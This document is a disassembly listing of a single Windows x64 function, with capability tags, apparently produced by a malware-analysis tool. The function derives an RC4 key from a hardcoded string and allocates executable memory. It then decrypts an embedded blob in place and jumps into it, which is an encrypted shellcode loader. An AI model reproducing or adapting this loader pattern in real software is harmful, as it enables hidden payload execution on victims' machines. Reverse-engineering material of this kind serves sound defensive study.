Function at 0x140023750
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x188
mov rax, qword [0x140541e58]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rcx, qword [rsp + 0x1a0]
call fcn.14003baa8
xor edx, edx
mov rcx, qword [rsp + 0x1a0]
call fcn.140020840
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x140023bbf
mov edx, 8
lea rcx, [rsp + 0xe8]
call fcn.140003c50
lea rcx, [rsp + 0xe8]
call fcn.140002fa0
nop
mov edx, 0x65
lea rcx, [rsp + 0xe8]
call fcn.140023210
mov dword [rsp + 0x88], eax
lea rcx, [rsp + 0xe8]
call fcn.140023080
movzx eax, al
test eax, eax
jne 0x14002382d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800
mov rcx, qword [rsp + 0x80]
call fcn.1400229b0
lea rcx, [rsp + 0xe8]
call fcn.1400031e0
mov r9, rax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
mov rcx, qword [rsp + 0x80]
call fcn.1400229b0
call fcn.140022760
test eax, eax
je 0x140023854
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x50]
jmp 0x14002407b
mov dword [rsp + 0x8c], 0x1e55
mov dword [rsp + 0x90], 0x1155
mov dword [rsp + 0x94], 0x804
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
lea rax, [0x1402de010]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xc8], 0
mov dword [rsp + 0xd8], 0x2c012
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140023955
mov dword [rsp + 0x20], 8
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140023955
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140023955
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x54]
jmp 0x14002407b
lea rax, [rsp + 0x100]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8003
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14002399d
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x58]
jmp 0x14002407b
mov r9d, 1
mov r8d, 0x23
lea rdx, str.bf__Xx_HEA2hpcssqIKVZZLqs1RtZQNjk1
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400239e0
mov dword [rsp + 0x5c], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x5c]
jmp 0x14002407b
mov qword [rsp + 0x78], 0
lea rcx, [0x1402439d0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.CryptDeriveKey
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x140023a31
mov dword [rsp + 0x60], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x60]
jmp 0x14002407b
lea rax, [rsp + 0x128]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, qword [rsp + 0x100]
mov edx, 0x6801
mov rcx, qword [rsp + 0xf8]
call qword [rsp + 0x78]
test eax, eax
jne 0x140023a7f
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x64]
jmp 0x14002407b
mov eax, dword [rsp + 0xd8]
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rcx, qword [rsp + 0x98]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0xd8]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0xa0]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
call fcn.140026750
mov ecx, eax
call fcn.1401ee894
mov dword [rsp + 0x40], 0
call fcn.1401ee868
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 3
jg 0x140023b12
jmp 0x140023add
cmp dword [rsp + 0x40], 3
jle 0x140023b1b
jmp 0x140023b39
mov dword [rsp + 0x68], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x68]
jmp 0x14002407b
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x140023b96
mov dword [rsp + 0x6c], 0
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov eax, dword [rsp + 0x6c]
jmp 0x14002407b
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xa8], rax
call qword [rsp + 0xa8]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0xe8]
call fcn.140003040
mov r8d, 1
mov rax, qword [rsp + 0x1a0]
mov rdx, qword [rax + 0x170]
mov rcx, qword [rsp + 0x1a0]
call fcn.1400257d0
xor r8d, r8d
mov rax, qword [rsp + 0x1a0]
mov rdx, qword [rax + 0x170]
mov rcx, qword [rsp + 0x1a0]
call fcn.1400257d0
lea rdx, [0x1402439f0]
mov rcx, qword [rsp + 0x1a0]
call fcn.14003ac58
mov r8d, 1
mov edx, 0xffffff
mov rcx, qword [rsp + 0x1a0]
call fcn.14003d1a8
lea rcx, [rsp + 0x130]
call fcn.140014c80
mov rax, qword [rsp + 0x1a0]
add rax, 0x1a8
lea rdx, [rsp + 0x130]
mov rcx, rax
call fcn.140015290
mov rax, qword [rsp + 0x1a0]
add rax, 0x1a8
mov rcx, rax
call fcn.1400152c0
or eax, 0x20
or eax, 1
mov rcx, qword [rsp + 0x1a0]
add rcx, 0x1a8
mov edx, eax
call fcn.1400158a0
lea rcx, [rsp + 0x130]
call fcn.1400159d0
cdq
sub eax, edx
sar eax, 1
mov rcx, qword [rsp + 0x1a0]
add rcx, 0x1a8
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], eax
mov r9d, 2
lea r8, str.HOSTNAME
xor edx, edx
call fcn.14003db24
lea rcx, [rsp + 0x130]
call fcn.1400159d0
cdq
sub eax, edx
sar eax, 1
mov rcx, qword [rsp + 0x1a0]
add rcx, 0x1a8
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], eax
mov r9d, 2
lea r8, [0x140243a14]
mov edx, 1
call fcn.14003db24
mov rax, qword [rsp + 0x1a0]
add rax, 0x1a8
lea r8, str.DESKTOP
xor edx, edx
mov rcx, rax
call fcn.1400153b0
mov rax, qword [rsp + 0x1a0]
add rax, 0x1a8
lea r9, str.192.168.1.4
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.14003de5c
mov rax, qword [rsp + 0x1a0]
add rax, 0x1a8
lea r8, str.LAPTOP
mov edx, 1
mov rcx, rax
call fcn.1400153b0
mov rax, qword [rsp + 0x1a0]
add rax, 0x1a8
lea r9, str.192.168.1.6
mov r8d, 1
mov edx, 1
mov rcx, rax
call fcn.14003de5c
lea rcx, [rsp + 0x108]
call fcn.140014c80
mov edx, 0x409
mov rcx, qword [rsp + 0x1a0]
call fcn.14003a774
lea rdx, [rsp + 0x108]
mov rcx, rax
call fcn.140023030
lea rdx, [rsp + 0x108]
mov rcx, qword [rsp + 0x1a0]
call fcn.140030728
mov rax, qword [rsp + 0x1a0]
add rax, 0x290
lea r8, [0x140243a70]
mov edx, 0x89
mov rcx, rax
call fcn.140028100
test eax, eax
je 0x140023e7f
mov rax, qword [rsp + 0x1a0]
add rax, 0x290
lea rdx, [rsp + 0x108]
mov rcx, rax
call fcn.1400285f0
mov rax, qword [rsp + 0x1a0]
add rax, 0x290
mov r8d, 1
lea rdx, [rsp + 0x108]
mov rcx, rax
call fcn.1400232f0
mov rax, qword [rsp + 0x1a0]
add rax, 0x290
mov rcx, rax
call fcn.140026fc0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x1a0]
add rax, 0x290
mov rcx, rax
call fcn.1400287e0
lea rcx, [rsp + 0x118]
call fcn.140014c80
mov edx, 0x40a
mov rcx, qword [rsp + 0x1a0]
call fcn.14003a774
lea rdx, [rsp + 0x118]
mov rcx, rax
call fcn.140023030
lea rdx, [rsp + 0x118]
mov rcx, qword [rsp + 0x1a0]
call fcn.140030728
mov rax, qword [rsp + 0x1a0]
add rax, 0x430
lea r8, [0x140243a78]
mov edx, 0x87
mov rcx, rax
call fcn.140028100
test eax, eax
je 0x140023f62
mov rax, qword [rsp + 0x1a0]
add rax, 0x430
lea rdx, [rsp + 0x118]
mov rcx, rax
call fcn.1400285f0
mov rax, qword [rsp + 0x1a0]
add rax, 0x430
mov r8d, 1
lea rdx, [rsp + 0x118]
mov rcx, rax
call fcn.1400232f0
mov rax, qword [rsp + 0x1a0]
add rax, 0x430
mov rcx, rax
call fcn.140026fc0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x1a0]
add rax, 0x430
mov rcx, rax
call fcn.1400287e0
mov rax, qword [rsp + 0x1a0]
mov rax, qword [rax + 0x40]
mov qword [0x14054b188], rax
call fcn.14000a4f0
mov qword [rsp + 0xe0], 0
lea r8, str.rt_ccsUTF_8
lea rdx, [0x140243aa0]
lea rcx, [rsp + 0xe0]
call fcn.1401ee78c
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
je 0x140023fd0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Open_resource_file_fail.
mov rcx, qword [rsp + 0x1a0]
call fcn.1400350cc
mov eax, 0xffffffff
jmp 0x14002407b
mov edx, gethostbyname
lea rcx, [rsp + 0x140]
call fcn.140003c50
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x140]
call fcn.1400559e4
nop
mov edx, 8
lea rcx, [rsp + 0xf0]
call fcn.140003c50
lea rcx, [rsp + 0xf0]
call fcn.140002fa0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x140]
call fcn.140056014
test eax, eax
je 0x140024047
lea rdx, [rsp + 0xf0]
lea rcx, [0x14054ad98]
call fcn.140026260
jmp 0x140024018
lea rcx, [rsp + 0x140]
call fcn.140055bf8
mov dword [rsp + 0x74], 1
lea rcx, [rsp + 0xf0]
call fcn.140003040
nop
lea rcx, [rsp + 0x140]
call fcn.140055a7c
mov eax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1401b8dc0
add rsp, 0x188
pop rdi
pop rsi
ret